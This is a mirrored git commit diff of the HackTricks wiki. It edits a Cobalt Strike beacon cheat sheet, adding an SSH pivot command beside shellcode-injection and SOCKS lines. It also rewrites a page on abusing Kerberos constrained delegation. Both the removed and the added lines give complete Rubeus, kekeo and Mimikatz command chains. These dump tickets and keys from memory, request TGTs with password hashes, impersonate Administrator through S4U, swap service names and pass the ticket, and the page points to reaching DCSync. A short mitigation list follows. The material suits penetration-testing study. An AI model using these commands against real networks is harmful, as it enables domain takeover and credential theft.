mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
GitBook: [#3384] No subject
This commit is contained in:
parent
e8aca86da8
commit
887f7e92c6
2 changed files with 32 additions and 61 deletions
|
@ -168,4 +168,6 @@ shinject <pid> x64 C:\Payloads\msf.bin #Inject metasploit shellcode in a x6
|
||||||
# Pivoting
|
# Pivoting
|
||||||
## Open a socks proxy in the teamserver
|
## Open a socks proxy in the teamserver
|
||||||
beacon> socks 1080
|
beacon> socks 1080
|
||||||
</code></pre>
|
|
||||||
|
# SSH connection
|
||||||
|
beacon> ssh 10.10.17.12:22 username password</code></pre>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Constrained Delegation
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -16,88 +16,54 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Constrained Delegation
|
|
||||||
|
|
||||||
Using this a Domain admin can **allow** a computer to **impersonate a user or computer** against a **service** of a machine.
|
# Constrained Delegation
|
||||||
|
|
||||||
* **Service for User to self (**_**S4U2self**_**):** If a **service account** has a _userAccountControl_ value containing [TRUSTED\_TO\_AUTH\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) (T2A4D), then it can obtain a TGS for itself (the service) on behalf of any other user.
|
Using this a Domain admin can allow 3rd parties to impersonate a user or computer against a service of a machine.
|
||||||
|
|
||||||
|
* **Service for User to self (**_**S4U2self**_**):** If a **service account** has a _userAccountControl_ value containing [TRUSTED\_TO\_AUTH\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) (T2A4D), then it can obtains a TGS for itself (the service) on behalf of any other user.
|
||||||
* **Service for User to Proxy(**_**S4U2proxy**_**):** A **service account** could obtain a TGS on behalf any user to the service set in **msDS-AllowedToDelegateTo.** To do so, it first need a TGS from that user to itself, but it can use S4U2self to obtain that TGS before requesting the other one.
|
* **Service for User to Proxy(**_**S4U2proxy**_**):** A **service account** could obtain a TGS on behalf any user to the service set in **msDS-AllowedToDelegateTo.** To do so, it first need a TGS from that user to itself, but it can use S4U2self to obtain that TGS before requesting the other one.
|
||||||
|
|
||||||
**Note**: If a user is marked as ‘_Account is sensitive and cannot be delegated_ ’ in AD, you will **not be able to impersonate** them.
|
**Note**: If a user is marked as ‘_Account is sensitive and cannot be delegated_ ’ in AD, you will **not be able to impersonate** them.
|
||||||
|
|
||||||
This means that if you **compromise the hash of the service** you can **impersonate users** and obtain **access** on their behalf to the **service configured** (possible **privesc**).
|
This means that if you **compromise the hash of the service** you can **impersonate users** and obtain **access** on their behalf to the **service configured** (possible **privesc**).\
|
||||||
|
Also, you **won't only have access to the service that user is able to impersonate, but also to any service that uses the same account as the allowed one** (because the SPN is not being checked, only privileges). For example, if you have access to **CIFS service** you can also have access to **HOST service**.\
|
||||||
|
Moreover, notice that if you have access to **LDAP service on DC**, you will have enough privileges to exploit a **DCSync**.
|
||||||
|
|
||||||
Moreover, you **won't only have access to the service that the user is able to impersonate, but also to any service** because the SPN (the service name requested) is not being checked, only privileges. Therefore, if you have access to **CIFS service** you can also have access to **HOST service** using `/altservice` flag in Rubeus.
|
{% code title="Enumerate from Powerview" %}
|
||||||
|
|
||||||
Also, **LDAP service access on DC**, is what is needed to exploit a **DCSync**.
|
|
||||||
|
|
||||||
{% code title="Enumerate" %}
|
|
||||||
```bash
|
```bash
|
||||||
# Powerview
|
|
||||||
Get-DomainUser -TrustedToAuth
|
Get-DomainUser -TrustedToAuth
|
||||||
Get-DomainComputer -TrustedToAuth
|
Get-DomainComputer -TrustedToAuth
|
||||||
|
|
||||||
#ADSearch
|
|
||||||
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
|
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
<pre class="language-bash" data-title="Get TGT"><code class="lang-bash"># The first step is to get a TGT of the service taht can impersonate others
|
{% code title="Using kekeo.exe + Mimikatz.exe" %}
|
||||||
## If you are SYSTEM in the server, you might take it from memory
|
|
||||||
.\Rubeus.exe triage
|
|
||||||
.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap
|
|
||||||
|
|
||||||
# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one
|
|
||||||
## Get AES/RC4 with mimikatz
|
|
||||||
mimikatz sekurlsa::ekeys
|
|
||||||
|
|
||||||
## Request with aes
|
|
||||||
<strong>tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
|
|
||||||
</strong>.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
|
|
||||||
|
|
||||||
# Request with RC4
|
|
||||||
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
|
|
||||||
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi</code></pre>
|
|
||||||
|
|
||||||
{% hint style="warning" %}
|
|
||||||
There are **other ways to obtain a TGT ticket** or the **RC4** or **AES256** without being SYSTEM in the computer like the Printer Bug and unconstrain delegation, NTLM relaying and Active Directory Certificate Service abuse
|
|
||||||
|
|
||||||
**Just having that TGT ticket (or hashed) you can perform this attack without compromising the whole computer.**
|
|
||||||
{% endhint %}
|
|
||||||
|
|
||||||
{% code title="Using Rubeus" %}
|
|
||||||
```bash
|
|
||||||
#Obtain a TGS of the Administrator user to self
|
|
||||||
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
|
|
||||||
|
|
||||||
#Obtain service TGS impersonating Administrator (CIFS)
|
|
||||||
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
|
|
||||||
|
|
||||||
#Impersonate Administrator on different service (HOST)
|
|
||||||
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
|
|
||||||
|
|
||||||
# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2)
|
|
||||||
\.Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap
|
|
||||||
|
|
||||||
#Load ticket in memory
|
|
||||||
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
|
|
||||||
```
|
|
||||||
{% endcode %}
|
|
||||||
|
|
||||||
{% code title="kekeo + Mimikatz" %}
|
|
||||||
```bash
|
```bash
|
||||||
#Obtain a TGT for the Constained allowed user
|
#Obtain a TGT for the Constained allowed user
|
||||||
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
|
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
|
||||||
|
|
||||||
#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
|
#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
|
||||||
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
|
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
|
||||||
|
|
||||||
#Load the TGS in memory
|
#Load the TGS in memory
|
||||||
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'
|
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
### Mitigation
|
{% code title="Using Rubeus" %}
|
||||||
|
```bash
|
||||||
|
#Obtain a TGT for the Constained allowed user
|
||||||
|
.\Rubeus.exe asktgt /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
|
||||||
|
#Obtain a TGS of the Administrator user to self
|
||||||
|
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
|
||||||
|
#Obtain service TGS impersonating Administrator (CIFS)
|
||||||
|
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
|
||||||
|
#Impersonate Administrator on different service (HOST)
|
||||||
|
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
|
||||||
|
#Load ticket in memory
|
||||||
|
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
## Mitigation
|
||||||
|
|
||||||
* Disable kerberos delegation where possible
|
* Disable kerberos delegation where possible
|
||||||
* Limit DA/Admin logins to specific services
|
* Limit DA/Admin logins to specific services
|
||||||
|
@ -105,6 +71,7 @@ Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.
|
||||||
|
|
||||||
[**More information in ired.team.**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation)
|
[**More information in ired.team.**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation)
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||||
|
@ -120,3 +87,5 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
Reference in a new issue